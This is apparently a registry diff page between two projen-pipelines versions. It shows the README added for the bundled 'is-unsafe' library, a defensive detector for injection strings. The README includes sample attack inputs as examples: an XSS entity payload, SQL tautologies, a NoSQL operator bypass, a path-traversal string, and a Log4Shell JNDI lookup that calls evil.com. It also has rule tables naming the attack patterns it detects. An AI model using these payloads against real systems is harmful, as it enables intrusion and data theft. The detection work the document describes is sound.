projen-pipelines 0.3.21 → 0.3.23
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.jsii +7 -4
- package/API.md +420 -0
- package/lib/assign-approver/base.js +3 -4
- package/lib/assign-approver/github.js +4 -4
- package/lib/awscdk/base.js +48 -6
- package/lib/awscdk/bash.js +2 -4
- package/lib/awscdk/github.js +13 -6
- package/lib/awscdk/gitlab.js +11 -6
- package/lib/drift/base.js +8 -4
- package/lib/drift/bash.js +3 -4
- package/lib/drift/detect-drift.js +3 -2
- package/lib/drift/github.js +5 -4
- package/lib/drift/gitlab.js +5 -4
- package/lib/drift/step.js +2 -4
- package/lib/release.js +5 -2
- package/lib/steps/amplify-deploy.step.js +5 -4
- package/lib/steps/artifact-steps.js +5 -6
- package/lib/steps/aws-assume-role.step.js +3 -4
- package/lib/steps/github-summary.step.js +3 -4
- package/lib/steps/package-manager-setup.step.js +4 -6
- package/lib/steps/registries.js +7 -8
- package/lib/steps/set-env.step.js +2 -1
- package/lib/steps/step.js +9 -10
- package/lib/versioning/computation.js +6 -8
- package/lib/versioning/config.js +3 -6
- package/lib/versioning/outputs.js +13 -16
- package/lib/versioning/setup.js +9 -9
- package/lib/versioning/strategy.js +4 -4
- package/lib/versioning/version-info.js +18 -9
- package/node_modules/@babel/code-frame/package.json +2 -2
- package/node_modules/@babel/helper-validator-identifier/package.json +1 -1
- package/node_modules/@nodable/entities/README.md +52 -1
- package/node_modules/@nodable/entities/package.json +4 -1
- package/node_modules/@nodable/entities/src/EntityDecoder.js +105 -4
- package/node_modules/@nodable/entities/src/EntityEncoder.js +79 -34
- package/node_modules/@nodable/entities/src/all-entities.js +53 -0
- package/node_modules/@nodable/entities/src/entities.js +0 -38
- package/node_modules/@nodable/entities/src/entityTries.js +48 -37
- package/node_modules/@nodable/entities/src/index.d.ts +93 -2
- package/node_modules/@nodable/entities/src/index.js +2 -2
- package/node_modules/anynum/LICENSE +21 -0
- package/node_modules/anynum/README.md +142 -0
- package/node_modules/anynum/anynum.js +135 -0
- package/node_modules/anynum/digitTable.js +116 -0
- package/node_modules/anynum/package.json +42 -0
- package/node_modules/dotgitignore/node_modules/brace-expansion/README.md +23 -1
- package/node_modules/dotgitignore/node_modules/brace-expansion/index.js +265 -86
- package/node_modules/dotgitignore/node_modules/brace-expansion/package.json +1 -1
- package/node_modules/fast-xml-builder/CHANGELOG.md +12 -0
- package/node_modules/fast-xml-builder/README.md +4 -1
- package/node_modules/fast-xml-builder/lib/fxb.cjs +1 -1
- package/node_modules/fast-xml-builder/lib/fxb.min.js +1 -1
- package/node_modules/fast-xml-builder/lib/fxb.min.js.map +1 -1
- package/node_modules/fast-xml-builder/package.json +6 -10
- package/node_modules/fast-xml-builder/src/fxb.js +34 -24
- package/node_modules/fast-xml-builder/src/orderedJs2Xml.js +18 -17
- package/node_modules/fast-xml-builder/src/util.js +10 -3
- package/node_modules/fast-xml-parser/CHANGELOG.md +34 -0
- package/node_modules/fast-xml-parser/README.md +10 -6
- package/node_modules/fast-xml-parser/lib/fxbuilder.min.js +1 -1
- package/node_modules/fast-xml-parser/lib/fxbuilder.min.js.map +1 -1
- package/node_modules/fast-xml-parser/lib/fxp.cjs +1 -1
- package/node_modules/fast-xml-parser/lib/fxp.d.cts +3 -1
- package/node_modules/fast-xml-parser/lib/fxp.min.js +1 -1
- package/node_modules/fast-xml-parser/lib/fxp.min.js.map +1 -1
- package/node_modules/fast-xml-parser/lib/fxparser.min.js +1 -1
- package/node_modules/fast-xml-parser/lib/fxparser.min.js.map +1 -1
- package/node_modules/fast-xml-parser/package.json +8 -10
- package/node_modules/fast-xml-parser/src/fxp.d.ts +5 -1
- package/node_modules/fast-xml-parser/src/xmlparser/DocTypeReader.js +16 -1
- package/node_modules/fast-xml-parser/src/xmlparser/OptionsBuilder.js +2 -1
- package/node_modules/fast-xml-parser/src/xmlparser/OrderedObjParser.js +36 -3
- package/node_modules/fast-xml-parser/src/xmlparser/xmlNode.js +14 -0
- package/node_modules/get-pkg-repo/node_modules/yargs/package.json +27 -26
- package/node_modules/get-pkg-repo/node_modules/yargs/yargs +5 -9
- package/node_modules/get-pkg-repo/node_modules/yargs/yargs.cjs +15 -0
- package/node_modules/hasown/CHANGELOG.md +7 -0
- package/node_modules/hasown/index.d.ts +0 -1
- package/node_modules/hasown/package.json +4 -5
- package/node_modules/is-unsafe/LICENSE +21 -0
- package/node_modules/is-unsafe/README.md +599 -0
- package/node_modules/is-unsafe/package.json +56 -0
- package/node_modules/is-unsafe/src/contexts/html.js +102 -0
- package/node_modules/is-unsafe/src/contexts/log.js +98 -0
- package/node_modules/is-unsafe/src/contexts/nosql.js +114 -0
- package/node_modules/is-unsafe/src/contexts/redos.js +60 -0
- package/node_modules/is-unsafe/src/contexts/shell.js +105 -0
- package/node_modules/is-unsafe/src/contexts/sql-strict.js +47 -0
- package/node_modules/is-unsafe/src/contexts/sql.js +95 -0
- package/node_modules/is-unsafe/src/contexts/svg.js +81 -0
- package/node_modules/is-unsafe/src/contexts/xml.js +79 -0
- package/node_modules/is-unsafe/src/index.cjs +27 -0
- package/node_modules/is-unsafe/src/index.d.ts +95 -0
- package/node_modules/is-unsafe/src/index.js +265 -0
- package/node_modules/path-expression-matcher/README.md +82 -7
- package/node_modules/path-expression-matcher/lib/pem.cjs +1 -1
- package/node_modules/path-expression-matcher/lib/pem.d.cts +94 -3
- package/node_modules/path-expression-matcher/lib/pem.min.js +1 -1
- package/node_modules/path-expression-matcher/lib/pem.min.js.map +1 -1
- package/node_modules/path-expression-matcher/package.json +2 -1
- package/node_modules/path-expression-matcher/src/ExpressionSet.js +18 -2
- package/node_modules/path-expression-matcher/src/Matcher.js +109 -16
- package/node_modules/path-expression-matcher/src/index.d.ts +67 -1
- package/node_modules/path-expression-matcher/src/index.js +3 -2
- package/node_modules/semver/classes/range.js +24 -4
- package/node_modules/semver/classes/semver.js +19 -2
- package/node_modules/semver/package.json +2 -2
- package/node_modules/semver/ranges/subset.js +2 -2
- package/node_modules/strnum/CHANGELOG.md +14 -0
- package/node_modules/strnum/README.md +9 -0
- package/node_modules/strnum/package.json +7 -3
- package/node_modules/strnum/strnum.js +14 -2
- package/node_modules/xml-naming/LICENSE +21 -0
- package/node_modules/xml-naming/README.md +99 -1
- package/node_modules/xml-naming/package.json +4 -2
- package/node_modules/xml-naming/src/index.d.ts +34 -0
- package/node_modules/xml-naming/src/index.js +134 -22
- package/node_modules/yargs/build/index.cjs +1 -1
- package/node_modules/yargs/package.json +6 -4
- package/node_modules/yargs/yargs +5 -9
- package/node_modules/yargs/yargs.cjs +15 -0
- package/package.json +8 -9
- package/node_modules/yargs/browser.d.ts +0 -5
|
@@ -0,0 +1,599 @@
|
|
|
1
|
+
# `is-unsafe`
|
|
2
|
+
|
|
3
|
+
> Zero-dependency, DOM-free, tree-shakeable pure predicate for detecting unsafe strings across HTML, XML, SVG, SQL, SQL-STRICT, SHELL, REDOS, NOSQL, and LOG contexts.
|
|
4
|
+
|
|
5
|
+
[](https://www.npmjs.com/package/is-unsafe)
|
|
6
|
+
[](LICENSE)
|
|
7
|
+
|
|
8
|
+
---
|
|
9
|
+
|
|
10
|
+
## Why `is-unsafe`?
|
|
11
|
+
|
|
12
|
+
Sanitizer libraries like [DOMPurify](https://github.com/cure53/DOMPurify) require a DOM. They cannot run inside XML parsers, template engines, or server-side pipelines that process strings before they ever reach a browser.
|
|
13
|
+
|
|
14
|
+
`is-unsafe` fills that gap. It is a **pure predicate** — it answers one question:
|
|
15
|
+
|
|
16
|
+
> *Is this string value unsafe in a given context?*
|
|
17
|
+
|
|
18
|
+
It never mutates strings. It never touches the DOM. It has zero runtime dependencies.
|
|
19
|
+
|
|
20
|
+
### Motivating use case: `@nodable/entities` / `fast-xml-parser`
|
|
21
|
+
|
|
22
|
+
DOCTYPE blocks can define custom entities with arbitrary values:
|
|
23
|
+
|
|
24
|
+
```xml
|
|
25
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
26
|
+
<!DOCTYPE urlset [
|
|
27
|
+
<!ENTITY xss '</script><script>alert(document.domain)</script><x y="'>
|
|
28
|
+
]>
|
|
29
|
+
<urlset>
|
|
30
|
+
<url><loc>https://example.com/&xss;</loc></url>
|
|
31
|
+
</urlset>
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
When `@nodable/entities` resolves `&xss;`, it produces a raw string containing `</script><script>alert(...)`. Whether that string is dangerous depends on where it ends up. `is-unsafe` answers that question — without a DOM.
|
|
35
|
+
|
|
36
|
+
---
|
|
37
|
+
|
|
38
|
+
## Installation
|
|
39
|
+
|
|
40
|
+
```sh
|
|
41
|
+
npm install is-unsafe
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
---
|
|
45
|
+
|
|
46
|
+
## Quick start
|
|
47
|
+
|
|
48
|
+
```js
|
|
49
|
+
import { isUnsafe, HTML, SQL, SHELL, REDOS, NOSQL, LOG } from 'is-unsafe';
|
|
50
|
+
|
|
51
|
+
isUnsafe('<script>alert(1)</script>', HTML) // → true
|
|
52
|
+
isUnsafe('New York, NY', HTML) // → false
|
|
53
|
+
|
|
54
|
+
isUnsafe("' OR 1=1--", SQL) // → true
|
|
55
|
+
isUnsafe('../etc/passwd', SHELL) // → true
|
|
56
|
+
isUnsafe('(a+)+', REDOS) // → true (ReDoS risk)
|
|
57
|
+
isUnsafe('{"$ne": null}', NOSQL) // → true
|
|
58
|
+
isUnsafe('${jndi:ldap://evil.com}', LOG) // → true (Log4Shell)
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
---
|
|
62
|
+
|
|
63
|
+
## v2 Migration guide
|
|
64
|
+
|
|
65
|
+
v2 replaces string context names with **imported pattern arrays**. This is the only breaking change.
|
|
66
|
+
|
|
67
|
+
| v1 | v2 |
|
|
68
|
+
|----|----|
|
|
69
|
+
| `import { isUnsafe, VALID_CONTEXTS } from 'is-unsafe'` | `import { isUnsafe, HTML, XML } from 'is-unsafe'` |
|
|
70
|
+
| `isUnsafe(v, 'HTML')` | `isUnsafe(v, HTML)` |
|
|
71
|
+
| `isUnsafe(v, ['HTML', 'XML'])` | `isUnsafe(v, [HTML, XML])` |
|
|
72
|
+
| `for (const ctx in VALID_CONTEXTS) { isUnsafe(v, ctx) }` | `for (const ctx of Object.values(VALID_CONTEXTS)) { isUnsafe(v, ctx) }` |
|
|
73
|
+
|
|
74
|
+
**Why the change?** String names required a central registry that imported all 9 context modules unconditionally. Even if you only used `HTML` and `XML`, your bundle included all contexts (~22 KB dead weight). With named imports, bundlers include only what you actually import.
|
|
75
|
+
|
|
76
|
+
---
|
|
77
|
+
|
|
78
|
+
## API
|
|
79
|
+
|
|
80
|
+
### `isUnsafe(value, context)` → `boolean`
|
|
81
|
+
|
|
82
|
+
Returns `true` if `value` is unsafe in the given context, `false` otherwise.
|
|
83
|
+
|
|
84
|
+
| Parameter | Type | Description |
|
|
85
|
+
|-----------|------|-------------|
|
|
86
|
+
| `value` | `string` | The string to test. Throws `TypeError` if not a string. |
|
|
87
|
+
| `context` | `PatternList \| PatternList[] \| RegExp` | A named context import, array of context imports, or a custom `RegExp`. |
|
|
88
|
+
|
|
89
|
+
```js
|
|
90
|
+
import { isUnsafe, HTML, XML } from 'is-unsafe';
|
|
91
|
+
|
|
92
|
+
// Single context
|
|
93
|
+
isUnsafe(value, HTML)
|
|
94
|
+
|
|
95
|
+
// Multiple contexts — true if unsafe in ANY of them
|
|
96
|
+
isUnsafe(value, [HTML, XML])
|
|
97
|
+
|
|
98
|
+
// Custom RegExp — true if pattern matches
|
|
99
|
+
isUnsafe(value, /my-pattern/i)
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
---
|
|
103
|
+
|
|
104
|
+
### `whyUnsafe(value, context)` → `MatchResult | null`
|
|
105
|
+
|
|
106
|
+
Like `isUnsafe`, but returns a `MatchResult` object describing the **first** matching rule, or `null` if the value is safe. Useful for logging and error messages.
|
|
107
|
+
|
|
108
|
+
```js
|
|
109
|
+
import { whyUnsafe, HTML } from 'is-unsafe';
|
|
110
|
+
|
|
111
|
+
const result = whyUnsafe('<script>alert(1)</script>', HTML);
|
|
112
|
+
// {
|
|
113
|
+
// context: 'HTML',
|
|
114
|
+
// id: 'html-script-open',
|
|
115
|
+
// description: '<script opening tag',
|
|
116
|
+
// pattern: /<script[\s>/]/i
|
|
117
|
+
// }
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
---
|
|
121
|
+
|
|
122
|
+
### `allUnsafe(value, context)` → `MatchResult[]`
|
|
123
|
+
|
|
124
|
+
Returns **all** matching rules across the given context(s), or an empty array if safe. Useful for comprehensive audits.
|
|
125
|
+
|
|
126
|
+
```js
|
|
127
|
+
import { allUnsafe, HTML } from 'is-unsafe';
|
|
128
|
+
|
|
129
|
+
const findings = allUnsafe('<script onload="x"></script>', HTML);
|
|
130
|
+
// [
|
|
131
|
+
// { context: 'HTML', id: 'html-script-open', ... },
|
|
132
|
+
// { context: 'HTML', id: 'html-script-close', ... },
|
|
133
|
+
// { context: 'HTML', id: 'html-inline-event-handler', ... }
|
|
134
|
+
// ]
|
|
135
|
+
```
|
|
136
|
+
|
|
137
|
+
---
|
|
138
|
+
|
|
139
|
+
### Named context exports
|
|
140
|
+
|
|
141
|
+
Each context is a named export. Import only what your code uses — unused contexts are dropped by your bundler.
|
|
142
|
+
|
|
143
|
+
```js
|
|
144
|
+
import { HTML, XML, SVG, SQL, SQL_STRICT, SHELL, REDOS, NOSQL, LOG } from 'is-unsafe';
|
|
145
|
+
```
|
|
146
|
+
|
|
147
|
+
Note: `SQL-STRICT` is exported as `SQL_STRICT` (hyphens are not valid in JS identifiers).
|
|
148
|
+
|
|
149
|
+
---
|
|
150
|
+
|
|
151
|
+
### Custom `PatternList`
|
|
152
|
+
|
|
153
|
+
You can supply your own pattern list alongside or instead of the built-in contexts:
|
|
154
|
+
|
|
155
|
+
```js
|
|
156
|
+
import { isUnsafe, whyUnsafe, HTML } from 'is-unsafe';
|
|
157
|
+
|
|
158
|
+
const INTERNAL_RULES = [
|
|
159
|
+
{ id: 'no-internal-ref', description: 'Blocks references to internal hostnames', pattern: /\.internal\b/i },
|
|
160
|
+
{ id: 'no-admin-path', description: 'Blocks paths starting with /admin', pattern: /\/admin\b/i },
|
|
161
|
+
];
|
|
162
|
+
|
|
163
|
+
// Optional — sets the context label in MatchResult. Defaults to 'CUSTOM'.
|
|
164
|
+
INTERNAL_RULES.label = 'INTERNAL';
|
|
165
|
+
|
|
166
|
+
isUnsafe('https://api.internal/data', INTERNAL_RULES) // true
|
|
167
|
+
isUnsafe('https://example.com/page', INTERNAL_RULES) // false
|
|
168
|
+
|
|
169
|
+
// Mix with built-in contexts
|
|
170
|
+
isUnsafe(value, [HTML, INTERNAL_RULES]);
|
|
171
|
+
|
|
172
|
+
const result = whyUnsafe('https://api.internal/admin', INTERNAL_RULES);
|
|
173
|
+
// { context: 'INTERNAL', id: 'no-internal-ref', description: '...', pattern: /.../ }
|
|
174
|
+
```
|
|
175
|
+
|
|
176
|
+
Without setting `.label`, `MatchResult.context` will be `'CUSTOM'`.
|
|
177
|
+
|
|
178
|
+
---
|
|
179
|
+
|
|
180
|
+
### `VALID_CONTEXTS`
|
|
181
|
+
|
|
182
|
+
A convenience object that re-exports all contexts under their canonical names. Useful for tooling or exhaustive checks across all contexts.
|
|
183
|
+
|
|
184
|
+
> **Warning:** importing `VALID_CONTEXTS` pulls in all 9 context modules. If your bundle size matters and you only need a few contexts, import them individually instead.
|
|
185
|
+
|
|
186
|
+
```js
|
|
187
|
+
import { VALID_CONTEXTS } from 'is-unsafe';
|
|
188
|
+
|
|
189
|
+
// { HTML: [...], XML: [...], SVG: [...], SQL: [...], 'SQL-STRICT': [...],
|
|
190
|
+
// SHELL: [...], REDOS: [...], NOSQL: [...], LOG: [...] }
|
|
191
|
+
|
|
192
|
+
// Iterate all contexts:
|
|
193
|
+
for (const [name, ctx] of Object.entries(VALID_CONTEXTS)) {
|
|
194
|
+
if (isUnsafe(value, ctx)) console.log(`Unsafe in ${name}`);
|
|
195
|
+
}
|
|
196
|
+
```
|
|
197
|
+
|
|
198
|
+
---
|
|
199
|
+
|
|
200
|
+
## Contexts
|
|
201
|
+
|
|
202
|
+
### `HTML`
|
|
203
|
+
|
|
204
|
+
XSS vectors when a string is rendered as HTML:
|
|
205
|
+
|
|
206
|
+
| Rule ID | What it catches |
|
|
207
|
+
|---------|----------------|
|
|
208
|
+
| `html-script-open` | `<script` opening tag |
|
|
209
|
+
| `html-script-close` | `</script>` closing tag |
|
|
210
|
+
| `html-javascript-protocol` | `javascript:` URI (with whitespace obfuscation) |
|
|
211
|
+
| `html-vbscript-protocol` | `vbscript:` URI |
|
|
212
|
+
| `html-data-html` | `data:text/html` URI |
|
|
213
|
+
| `html-data-xhtml` | `data:application/xhtml+xml` URI |
|
|
214
|
+
| `html-data-svg` | `data:image/svg+xml` URI |
|
|
215
|
+
| `html-inline-event-handler` | `onclick=`, `onerror=`, `onload=`, etc. |
|
|
216
|
+
| `html-entity-obfuscated-script` | `<script`, `<script`, `<script` |
|
|
217
|
+
| `html-entity-obfuscated-javascript` | Hex/decimal entity encoding of `javascript:` |
|
|
218
|
+
| `html-style-expression` | CSS `expression()` — IE code execution |
|
|
219
|
+
| `html-object-embed` | `<object>` and `<embed>` tags |
|
|
220
|
+
| `html-base-tag` | `<base href=` — relative URL hijacking |
|
|
221
|
+
| `html-meta-refresh` | `<meta http-equiv="refresh"` |
|
|
222
|
+
| `html-srcdoc` | `srcdoc=` attribute on iframes |
|
|
223
|
+
| `html-iframe` | `<iframe` tag |
|
|
224
|
+
| `html-form` | `<form` tag — phishing injection |
|
|
225
|
+
|
|
226
|
+
---
|
|
227
|
+
|
|
228
|
+
### `XML`
|
|
229
|
+
|
|
230
|
+
Parser-level attacks in XML documents (distinct from HTML XSS):
|
|
231
|
+
|
|
232
|
+
| Rule ID | What it catches |
|
|
233
|
+
|---------|----------------|
|
|
234
|
+
| `xml-cdata-injection` | `<![CDATA[` injection |
|
|
235
|
+
| `xml-cdata-close` | `]]>` — closes an enclosing CDATA section |
|
|
236
|
+
| `xml-processing-instruction` | `<?xml-stylesheet`, `<?php`, `<?asp` |
|
|
237
|
+
| `xml-doctype-injection` | `<!DOCTYPE` embedded in content |
|
|
238
|
+
| `xml-entity-system` | `SYSTEM "..."` — XXE external entity |
|
|
239
|
+
| `xml-entity-public` | `PUBLIC "..."` — XXE external entity |
|
|
240
|
+
| `xml-entity-declaration` | `<!ENTITY` declaration |
|
|
241
|
+
| `xml-billion-laughs` | Repeated entity refs `&e1;&e2;&e3;` — expansion attack |
|
|
242
|
+
| `xml-namespace-confusion` | `xmlns=` attribute injection |
|
|
243
|
+
| `xml-comment-injection` | `<!--` comment open |
|
|
244
|
+
| `xml-comment-close` | `-->` comment close |
|
|
245
|
+
| `xml-pi-close` | `?>` processing instruction close |
|
|
246
|
+
|
|
247
|
+
---
|
|
248
|
+
|
|
249
|
+
### `SVG`
|
|
250
|
+
|
|
251
|
+
SVG-specific XSS vectors that bypass HTML-only sanitizers (including documented DOMPurify bypass patterns):
|
|
252
|
+
|
|
253
|
+
| Rule ID | What it catches |
|
|
254
|
+
|---------|----------------|
|
|
255
|
+
| `svg-script-element` | `<script` inside SVG |
|
|
256
|
+
| `svg-xlink-href-javascript` | `xlink:href="javascript:..."` |
|
|
257
|
+
| `svg-href-javascript` | `href="javascript:..."` |
|
|
258
|
+
| `svg-foreignobject` | `<foreignObject>` — embeds HTML inside SVG |
|
|
259
|
+
| `svg-use-external` | `<use href=` pointing to external URL |
|
|
260
|
+
| `svg-animate-href` | `<animate attributeName="href"` — dynamic href injection |
|
|
261
|
+
| `svg-animate-xlinkhref` | `<animate attributeName="xlink:href"` |
|
|
262
|
+
| `svg-set-javascript` | `<set to="javascript:..."` |
|
|
263
|
+
| `svg-event-handler` | SVG event handlers (`onload=`, `onactivate=`, `onbegin=`, etc.) |
|
|
264
|
+
| `svg-filter-feimage` | `<feImage href=` — external resource load |
|
|
265
|
+
| `svg-image-external` | `<image xlink:href=` with http/javascript URL |
|
|
266
|
+
| `svg-style-javascript` | `style=` containing `javascript:` |
|
|
267
|
+
|
|
268
|
+
---
|
|
269
|
+
|
|
270
|
+
### `SQL` and `SQL_STRICT`
|
|
271
|
+
|
|
272
|
+
Two tiers of SQL injection detection, chosen based on what kind of input you're validating.
|
|
273
|
+
|
|
274
|
+
**Use `SQL`** for general user-facing fields (names, descriptions, search queries). Its 15 rules are high-precision with very low false-positive risk.
|
|
275
|
+
|
|
276
|
+
**Use `SQL_STRICT`** when the input is specifically a SQL fragment or database identifier — it includes all `SQL` rules plus three additional rules that would produce false positives on general text:
|
|
277
|
+
|
|
278
|
+
| Extra rule in SQL_STRICT | Why it's noisy on general text |
|
|
279
|
+
|--------------------------|-------------------------------|
|
|
280
|
+
| `sql-line-comment` (`--`) | Fires on `"see note -- above"`, CSS `var(--primary)` |
|
|
281
|
+
| `sql-stacked-query` (`;SELECT`) | Semicolons are normal punctuation |
|
|
282
|
+
| `sql-hex-encoding` (`0xDEAD`) | Hex values appear in technical docs and logs |
|
|
283
|
+
|
|
284
|
+
**Base `SQL` rules (present in both):**
|
|
285
|
+
|
|
286
|
+
| Rule ID | What it catches |
|
|
287
|
+
|---------|----------------|
|
|
288
|
+
| `sql-block-comment` | `/*` — comment-based bypass |
|
|
289
|
+
| `sql-union-select` | `UNION SELECT` — data extraction |
|
|
290
|
+
| `sql-tautology-or` | `OR 1=1`, `OR 'a'='a'` — always-true bypass |
|
|
291
|
+
| `sql-tautology-and` | `AND 1=1`, `AND 'a'='a'` |
|
|
292
|
+
| `sql-quote-escape` | `\'` or `''` — string termination attempts |
|
|
293
|
+
| `sql-drop-table` | `DROP TABLE` |
|
|
294
|
+
| `sql-insert-into` | `INSERT INTO` |
|
|
295
|
+
| `sql-delete-from` | `DELETE FROM` |
|
|
296
|
+
| `sql-update-set` | `UPDATE ... SET` |
|
|
297
|
+
| `sql-exec-xp` | `EXEC xp_` — SQL Server extended procedures |
|
|
298
|
+
| `sql-sleep-waitfor` | `SLEEP(` / `WAITFOR DELAY` — time-based blind injection |
|
|
299
|
+
| `sql-cast-convert` | `CAST(` / `CONVERT(` — obfuscation |
|
|
300
|
+
| `sql-char-function` | `CHAR(` — ASCII character encoding |
|
|
301
|
+
| `sql-information-schema` | `INFORMATION_SCHEMA` — metadata extraction |
|
|
302
|
+
| `sql-load-file` | `LOAD_FILE(` / `INTO OUTFILE` — file system access |
|
|
303
|
+
|
|
304
|
+
---
|
|
305
|
+
|
|
306
|
+
### `SHELL`
|
|
307
|
+
|
|
308
|
+
Shell injection and path traversal vectors:
|
|
309
|
+
|
|
310
|
+
| Rule ID | What it catches |
|
|
311
|
+
|---------|----------------|
|
|
312
|
+
| `shell-path-traversal-unix` | `../` — Unix directory traversal |
|
|
313
|
+
| `shell-path-traversal-win` | `..\` — Windows directory traversal |
|
|
314
|
+
| `shell-absolute-path-unix` | Leading `/` — absolute Unix path |
|
|
315
|
+
| `shell-absolute-path-win` | `C:\` / `D:\` etc. — absolute Windows path |
|
|
316
|
+
| `shell-null-byte` | `\x00` or `%00` — null byte injection |
|
|
317
|
+
| `shell-command-subst` | `` `cmd` `` / `$(cmd)` — command substitution |
|
|
318
|
+
| `shell-pipe` | `|` — command piping |
|
|
319
|
+
| `shell-semicolon` | `;` — command chaining |
|
|
320
|
+
| `shell-ampersand` | `&&` / `&` — background / logical AND |
|
|
321
|
+
| `shell-redirect` | `>` / `>>` / `<` — I/O redirection |
|
|
322
|
+
|
|
323
|
+
---
|
|
324
|
+
|
|
325
|
+
### `REDOS`
|
|
326
|
+
|
|
327
|
+
Patterns dangerous when compiled as a RegExp (catastrophic backtracking):
|
|
328
|
+
|
|
329
|
+
| Rule ID | What it catches |
|
|
330
|
+
|---------|----------------|
|
|
331
|
+
| `redos-nested-quantifier` | `(a+)+`, `(a*)*` — nested quantifiers |
|
|
332
|
+
| `redos-overlapping-alternation` | `(a|a)+` — ambiguous alternation |
|
|
333
|
+
| `redos-star-plus-adjacent` | `a*+` / `(a+)*` — adjacent unbounded quantifiers |
|
|
334
|
+
|
|
335
|
+
---
|
|
336
|
+
|
|
337
|
+
### `NOSQL`
|
|
338
|
+
|
|
339
|
+
MongoDB query operator injection and prototype pollution:
|
|
340
|
+
|
|
341
|
+
| Rule ID | What it catches |
|
|
342
|
+
|---------|----------------|
|
|
343
|
+
| `nosql-where-operator` | `$where:` — server-side JS execution |
|
|
344
|
+
| `nosql-ne-operator` | `$ne:` — not-equal authentication bypass |
|
|
345
|
+
| `nosql-gt-operator` | `$gt:` / `$gte:` — greater-than bypass |
|
|
346
|
+
| `nosql-lt-operator` | `$lt:` / `$lte:` — less-than bypass |
|
|
347
|
+
| `nosql-regex-operator` | `$regex:` — blind character-by-character extraction |
|
|
348
|
+
| `nosql-or-operator` | `$or: [` — always-true condition injection |
|
|
349
|
+
| `nosql-and-operator` | `$and: [` — logical AND injection |
|
|
350
|
+
| `nosql-nor-operator` | `$nor: [` — logical NOR injection |
|
|
351
|
+
| `nosql-exists-operator` | `$exists:` — field enumeration |
|
|
352
|
+
| `nosql-in-operator` | `$in: [` — value enumeration |
|
|
353
|
+
| `nosql-expr-operator` | `$expr:` — aggregation expression injection |
|
|
354
|
+
| `nosql-function-operator` | `$function:` — arbitrary JavaScript (MongoDB 4.4+) |
|
|
355
|
+
| `nosql-accumulator-operator` | `$accumulator:` — custom JS aggregation |
|
|
356
|
+
| `nosql-proto-pollution` | `__proto__` — prototype pollution |
|
|
357
|
+
| `nosql-constructor-prototype` | `constructor.prototype` or JSON key adjacency |
|
|
358
|
+
| `nosql-proto-bracket` | `["__proto__"]` — bracket-notation prototype pollution |
|
|
359
|
+
|
|
360
|
+
Patterns handle both bare form (`$ne: null`) and JSON key form (`{"$ne": null}`) by allowing an optional closing quote between the operator name and the colon.
|
|
361
|
+
|
|
362
|
+
---
|
|
363
|
+
|
|
364
|
+
### `LOG`
|
|
365
|
+
|
|
366
|
+
Injection vectors dangerous when a string is written to a log file or passed to a logging framework:
|
|
367
|
+
|
|
368
|
+
| Rule ID | What it catches |
|
|
369
|
+
|---------|----------------|
|
|
370
|
+
| `log-crlf-injection` | Literal `\r` or `\n` — fake log line injection |
|
|
371
|
+
| `log-url-encoded-crlf` | `%0d`, `%0a`, `%0D`, `%0A` — URL-encoded newlines |
|
|
372
|
+
| `log-unicode-newline` | U+2028, U+2029 — Unicode line/paragraph separators |
|
|
373
|
+
| `log-log4shell-jndi` | `${jndi:...}` — Log4Shell RCE (CVE-2021-44228) |
|
|
374
|
+
| `log-log4shell-obfuscated` | `${::-` — Log4j WAF-bypass prefix |
|
|
375
|
+
| `log-log4j-lookup` | `${env:}`, `${sys:}`, `${ctx:}` — data exfiltration lookups |
|
|
376
|
+
| `log-ssti-double-brace` | `{{expression}}` — Jinja2, Twig, Handlebars SSTI |
|
|
377
|
+
| `log-ssti-hash-brace` | `#{expression}` — Thymeleaf, Velocity, ERB SSTI |
|
|
378
|
+
| `log-ssti-dollar-brace` | `${expr.method()}` — JSP EL, Freemarker, SpEL SSTI |
|
|
379
|
+
| `log-ssti-percent-tag` | `<%= expression %>` — Ruby ERB, ASP |
|
|
380
|
+
| `log-null-byte` | `\x00` or `%00` — truncates log entries |
|
|
381
|
+
| `log-ansi-escape` | `ESC[` — ANSI escape sequences that manipulate terminal output |
|
|
382
|
+
|
|
383
|
+
> **Note:** The `log-crlf-injection` rule flags literal newline characters (`\n`, `\r`). Apply `LOG` only to single-line log field values (usernames, IDs, request parameters), not to multi-line content.
|
|
384
|
+
|
|
385
|
+
---
|
|
386
|
+
|
|
387
|
+
## Integration examples
|
|
388
|
+
|
|
389
|
+
### `@nodable/entities` — `postCheck` callback (the motivating use case)
|
|
390
|
+
|
|
391
|
+
```js
|
|
392
|
+
import { isUnsafe, HTML } from 'is-unsafe';
|
|
393
|
+
import { EntityDecoder, ALL_ENTITIES } from '@nodable/entities';
|
|
394
|
+
|
|
395
|
+
const dec = new EntityDecoder({
|
|
396
|
+
namedEntities: ALL_ENTITIES,
|
|
397
|
+
postCheck: (resolved, original) => {
|
|
398
|
+
if (isUnsafe(resolved, HTML)) {
|
|
399
|
+
return original; // keep literal &entity; reference
|
|
400
|
+
// or: throw new Error(`Unsafe entity blocked: ${original}`);
|
|
401
|
+
// or: return '[BLOCKED]';
|
|
402
|
+
}
|
|
403
|
+
return resolved;
|
|
404
|
+
}
|
|
405
|
+
});
|
|
406
|
+
```
|
|
407
|
+
|
|
408
|
+
Only `html.js` ends up in your bundle — `XML`, `SQL`, and all other contexts are excluded automatically.
|
|
409
|
+
|
|
410
|
+
### `fast-xml-parser` — entity check for HTML + XML contexts
|
|
411
|
+
|
|
412
|
+
```js
|
|
413
|
+
import { isUnsafe, HTML, XML } from 'is-unsafe';
|
|
414
|
+
|
|
415
|
+
onInputEntity: (name, value) =>
|
|
416
|
+
isUnsafe(value, [HTML, XML]) ? ENTITY_ACTION.BLOCK : ENTITY_ACTION.ALLOW,
|
|
417
|
+
```
|
|
418
|
+
|
|
419
|
+
Bundle cost: only `html.js` + `xml.js` (~5.8 KB).
|
|
420
|
+
|
|
421
|
+
### Logging with `whyUnsafe`
|
|
422
|
+
|
|
423
|
+
```js
|
|
424
|
+
import { isUnsafe, whyUnsafe, HTML, SQL } from 'is-unsafe';
|
|
425
|
+
|
|
426
|
+
function safeInsert(value, context) {
|
|
427
|
+
if (isUnsafe(value, context)) {
|
|
428
|
+
const reason = whyUnsafe(value, context);
|
